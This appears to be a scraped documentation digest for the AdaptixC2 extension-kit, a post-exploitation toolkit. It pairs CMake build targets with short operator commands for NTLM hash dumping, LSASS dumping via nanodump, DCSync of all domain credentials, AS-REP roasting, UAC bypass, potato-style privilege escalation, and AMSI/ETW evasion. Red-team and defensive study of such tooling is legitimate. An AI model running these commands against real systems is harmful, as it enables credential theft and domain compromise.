lsadump_sam
```

--------------------------------

### Display System Uptime

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Shows how long the system has been running since the last reboot.

```bash
uptime
```

--------------------------------

### Hashdump BOF for NTLM Hashes

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/README.md

Gathers NTLM hashes from the SAM and SYSTEM registry hives. The output is integrated into the Adaptix Sessions Table and Graph under the 'Access' menu.

```bash
hashdump
```

--------------------------------

### Enumerate CAs and Templates (certi enum)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/ADCS-BOF/README.md

Enumerates available Certificate Authorities (CAs) and templates within the Active Directory environment.

```bash
certi enum
```

--------------------------------

### nbtscan: Verbose output

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAR-BOF/README.md

Enables verbose mode to display detailed NetBIOS information, including service types, for discovered hosts.

```Shell
nbtscan 192.168.1.0/24 -v
```

--------------------------------

### Copy UserIdleTime Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'useridletime' target to the _bin directory. It depends on the 'useridletime' target being built first.

```cmake
add_custom_target(copy_useridletime ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:useridletime> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/useridletime.x64.o
    DEPENDS useridletime
    COMMENT "Copying useridletime object file"
)
```

--------------------------------

### Copy Kerb Asreproasting Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/Kerbeus-BOF/CMakeLists.txt

This target copies the object file for the 'kerb_asreproasting' module to the _bin directory. It depends on the 'kerb_asreproasting' target.

```cmake
add_custom_target(copy_kerb_asreproasting ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_asreproasting> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/asreproasting.x64.o
    DEPENDS kerb_asreproasting
    COMMENT "Copying asreproasting object file"
)
```

--------------------------------

### Copy privcheck_all Object File with CMake

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

Defines a custom target 'copy_privcheck_all' to copy the object file of the 'privcheck_all' target to the '_bin' directory. It depends on the 'privcheck_all' target and uses CMake's copy command.

```cmake
add_custom_target(copy_privcheck_all ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:privcheck_all> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/privcheck_all.x64.o
    DEPENDS privcheck_all
    COMMENT "Copying privcheck_all object file"
)
```

--------------------------------

### List ARP Table

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Use this command to display the Address Resolution Protocol (ARP) cache, which maps IP addresses to MAC addresses on the local network.

```bash
arp
```

--------------------------------

### Copy Netstat Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'netstat' target to the _bin directory. It depends on the 'netstat' target being built first.

```cmake
add_custom_target(copy_netstat ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:netstat> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/netstat.x64.o
    DEPENDS netstat
    COMMENT "Copying netstat object file"
)
```

--------------------------------

### PrivCheck Modules

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Executes specific modules from the PrivCheck BOF to detect common privilege escalation paths. Ensure you are using the correct module name for your check.

```bash
privcheck <module>
```

--------------------------------

### Copy Whoami Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'whoami' target to the _bin directory. It depends on the 'whoami' target being built first.

```cmake
add_custom_target(copy_whoami ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:whoami> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/whoami.x64.o
    DEPENDS whoami
    COMMENT "Copying whoami object file"
)
```

--------------------------------

### nbtscan: Scan NetBIOS network information

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Queries port 137 to discover hostnames, MAC addresses, and domain information. Automatically registers found hosts in AdaptixC2. Use -v for verbose output including service types and MAC addresses, or -e for /etc/hosts format.

```bash
nbtscan 192.168.1.0/24             # Scan subnet
```

```bash
nbtscan 192.168.1.1-192.168.1.50   # Scan IP range
```

```bash
nbtscan 192.168.1.0/24 -v          # Verbose (NetBIOS service types + MAC)
```

```bash
nbtscan 192.168.1.0/24 -e          # Output in /etc/hosts format
```

```bash
nbtscan 192.168.1.0/24 -s "|"      # Script-friendly with custom separator
```

```bash
nbtscan 192.168.1.0/24 -t 3000 -no-targets   # Custom timeout, skip auto-registration
```

--------------------------------

### List IPv4 Routes

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Displays the current IPv4 routing table, showing network destinations and their associated gateways.

```bash
routeprint
```

--------------------------------

### Obtain Low Priv Handle with Spoofed Callstack and Elevate

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/nanodump/README.md

Obtains a handle with low privileges using a spoofed callstack and then elevates it using '_elevate handle_'.

```bash
nanodump -eh -sc
```

--------------------------------

### Enumerate ADCS CAs and Templates

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Enumerates available Certificate Authorities (CAs) and certificate templates within the Active Directory Certificate Services environment.

```bash
certi enum

```

--------------------------------

### List All Domain Users

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves a list of all user accounts within the domain.

```bash
# List all domain users
ldap get-users
```

--------------------------------

### Set Compiler Options for DCOMPotato

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Elevation-BOF/CMakeLists.txt

Applies specific compiler options for the DCOMPotato module, including assembly syntax, no standard library, and disabling exceptions and RTTI.

```cmake
target_compile_options(DCOMPotato PRIVATE
    -masm=intel
    -nostdlib
    -Wno-nonnull
    -fno-asynchronous-unwind-tables
    -fno-exceptions
    -fno-rtti
)
```

--------------------------------

### Copy HijackablePath Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'hijackablepath' target to the _bin directory. It depends on the 'hijackablepath' target being built first.

```cmake
add_custom_target(copy_hijackablepath ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:hijackablepath> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/hijackablepath.x64.o
    DEPENDS hijackablepath
    COMMENT "Copying hijackablepath object file"
)
```

--------------------------------

### Troubleshoot Permission Errors

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Verify user context, check object permissions, and identify modifiable objects when encountering permission errors.

```bash
# Verify current user context
whoami
```

```bash
# Check object permissions
ldap get-acl {target}
```

```bash
# Use ldap get-writable to find modifiable objects
ldap get-writable
```

--------------------------------

### Query Domain Information

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Queries and retrieves domain information from the rootDSE. Optionally specify the domain controller FQDN and enable LDAPS.

```bash
ldap get-domaininfo [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Display Process Connections with process conn

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Process-BOF/README.md

The `process conn` command displays detailed information about processes that have established TCP and RDP connections.

```bash
process conn
```

--------------------------------

### Default Execute-Assembly Settings

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Execution-BOF/README.md

Default configuration values for the 'execute-assembly' BOF, defined in 'execute-assembly/inlineExecute-Assembly.c'. Edit and recompile to change these settings.

```c
char* appDomain = "test";
char* pipeName = "test";
char* slotName = "test";
BOOL amsi = 1;
BOOL etw = 1;
BOOL revertETW = 1;
BOOL mailSlot = 0;
ULONG entryPoint = 1;
```

--------------------------------

### Runas User Command

Source: https://github.com/adaptix-framework/extension-kit/blob/main/LateralMovement-BOF/README.md

Runs a specific process with explicit credentials, allowing execution with different permissions than the current user's logon. Supports output capture and UAC bypass with admin credentials.

```shell
runas-user <username> <password> <domain> <command> [-l logon_type] [-t timeout] [-o] [-b]
```

--------------------------------

### Find Process Modules or Handles with findobj

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Process-BOF/README.md

Use `findobj` to enumerate processes based on loaded modules or process handles. Specify the type ('module' or 'prochandle') and the name to search for.

```bash
findobj <type> <name>
```

--------------------------------

### Copy RoutePrint Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'routeprint' target to the _bin directory. It depends on the 'routeprint' target being built first.

```cmake
add_custom_target(copy_routeprint ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:routeprint> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/routeprint.x64.o
    DEPENDS routeprint
    COMMENT "Copying routeprint object file"
)
```

--------------------------------

### Copy Nslookup Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'nslookup' target to the _bin directory. It depends on the 'nslookup' target being built first.

```cmake
add_custom_target(copy_nslookup ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:nslookup> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/nslookup.x64.o
    DEPENDS nslookup
    COMMENT "Copying nslookup object file"
)
```

--------------------------------

### Freeze/Unfreeze Process with procfreeze

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Process-BOF/README.md

Utilize `procfreeze` with elevated privileges to freeze or unfreeze a target process using a PPL bypass technique. Note that unfreezing may not always work and might require manual intervention or a system reboot.

```bash
procfreeze freeze <pid>
```

```bash
procfreeze unfreeze
```

--------------------------------

### Copy ENV Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'env' target to the _bin directory. It depends on the 'env' target being built first.

```cmake
add_custom_target(copy_env ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:env> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/env.x64.o
    DEPENDS env
    COMMENT "Copying env object file"
)
```

--------------------------------

### AD-BOF LDAP Enumeration Commands

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Provides commands for enumerating Active Directory users, computers, groups, and ACLs using LDAP. Use `help ldap {command}` for detailed usage. The `--ldaps` flag enables LDAPS on port 636.

```bash
# ── Enumeration ──────────────────────────────────────────────
ldap get-users                                         # All domain users
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"   # Computers in a specific OU
ldap get-usergroups jane.doe                           # Groups jane.doe belongs to
ldap get-groupmembers "Domain Admins"                  # Members of Domain Admins
ldap get-writable --detailed                           # Objects the current context can write
ldap get-acl "CN=AdminUser,CN=Users,DC=corp,DC=local" --resolve
ldap get-domaininfo -dc 192.168.1.10                   # Query rootDSE on a specific DC
```

--------------------------------

### Set C and C++ Standards

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Elevation-BOF/CMakeLists.txt

Configures the minimum required version for CMake and sets the C and C++ standards for the project. Use this to ensure compatibility with specific language features.

```cmake
cmake_minimum_required(VERSION 3.16)
set(CMAKE_C_STANDARD 99)
set(CMAKE_CXX_STANDARD 11)
```

--------------------------------

### List Computers in Specific OU

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves a list of computer accounts located within a specified Organizational Unit (OU).

```bash
# List computers in specific OU
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
```

--------------------------------

### Enable Unconstrained Delegation

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Enables unconstrained delegation on a specified object. Provide the target object's name and optional OU path or DC FQDN.

```bash
ldap add-unconstrained <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Custom Commands to Copy Object Files

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Elevation-BOF/CMakeLists.txt

Defines custom targets to copy the compiled object files for each BOF module into the '_bin' directory. These commands run after the object files are successfully built.

```cmake
add_custom_target(copy_getsystem_token ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:getsystem_token> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/getsystem_token.x64.o
    DEPENDS getsystem_token
    COMMENT "Copying getsystem_token object file"
)
```

```cmake
add_custom_target(copy_uac_regshellcmd ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:uac_regshellcmd> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/uac_regshellcmd.x64.o
    DEPENDS uac_regshellcmd
    COMMENT "Copying uac_regshellcmd object file"
)
```

```cmake
add_custom_target(copy_printspoofer ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:printspoofer> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/printspoofer.x64.o
    DEPENDS printspoofer
    COMMENT "Copying printspoofer object file"
)
```

```cmake
add_custom_target(copy_uac_sspi ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:uac_sspi> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/uac_sspi.x64.o
    DEPENDS uac_sspi
    COMMENT "Copying uac_sspi object file"
)
```

```cmake
add_custom_target(copy_DCOMPotato ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:DCOMPotato> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/DCOMPotato.x64.o
    DEPENDS DCOMPotato
    COMMENT "Copying DCOMPotato object file"
)
```

--------------------------------

### List and Resolve DNS Cache

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Lists entries in the DNS cache and attempts to resolve each entry.

```bash
listdns
```

--------------------------------

### Copy Kerb Describe Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/Kerbeus-BOF/CMakeLists.txt

This target copies the object file for the 'kerb_describe' module to the _bin directory. It depends on the 'kerb_describe' target.

```cmake
add_custom_target(copy_kerb_describe ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_describe> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/describe.x64.o
    DEPENDS kerb_describe
    COMMENT "Copying describe object file"
)
```

--------------------------------

### Dump All Domain Users from Specific DC

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/DCSync-BOF/README.md

This command dumps credentials for all users in the domain, targeting a specific domain controller by its Fully Qualified Domain Name (FQDN).

```sh
dcsync all -dc dc01.corp.local
```